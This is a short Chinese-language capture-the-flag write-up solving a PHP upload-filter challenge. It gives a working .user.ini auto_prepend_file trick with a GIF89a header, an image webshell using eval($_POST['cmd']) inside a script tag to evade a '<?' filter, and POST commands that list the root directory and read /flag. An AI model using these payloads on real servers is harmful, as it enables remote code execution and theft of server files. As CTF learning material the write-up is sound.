一道上传绕过题,先上传一个图片,将一句话插入到图片末尾
上传后提示过滤了<??>
这个时候可以使用字典fuzz一下可以上传的文件类型,发现并没有过滤.htaccess和.user.ini
讲一下.htaccess和.user.ini的区别:
比起.htaccess文件构成的PHP后门,.user.ini文件比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以,.user.ini能让所有php文件都包含某个文件,可以是一句话木马
上传一个.user.ini文件然后包含我们的图片马
auto_prepend_file=a.jpg
上传后提示
百度一下exif_imagetype函数
可以通过添加一个文件头进行绕过
GIF89a
auto_prepend_file=test.jpg
auto_prepend_file参数的意思为:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
构造一个test.jpg图片马,关于绕过<??>可以使用js指定php来执行
GIF89a <script language="php">eval($_POST['cmd']);</script>
上传成功后,直接使用一句话木马扫描根目录
post:cmd=var_dump(scandir("/"));
发现flag ,使用file_get_contents获取文件内容
post:cmd=var_dump(file_get_contents("/flag"));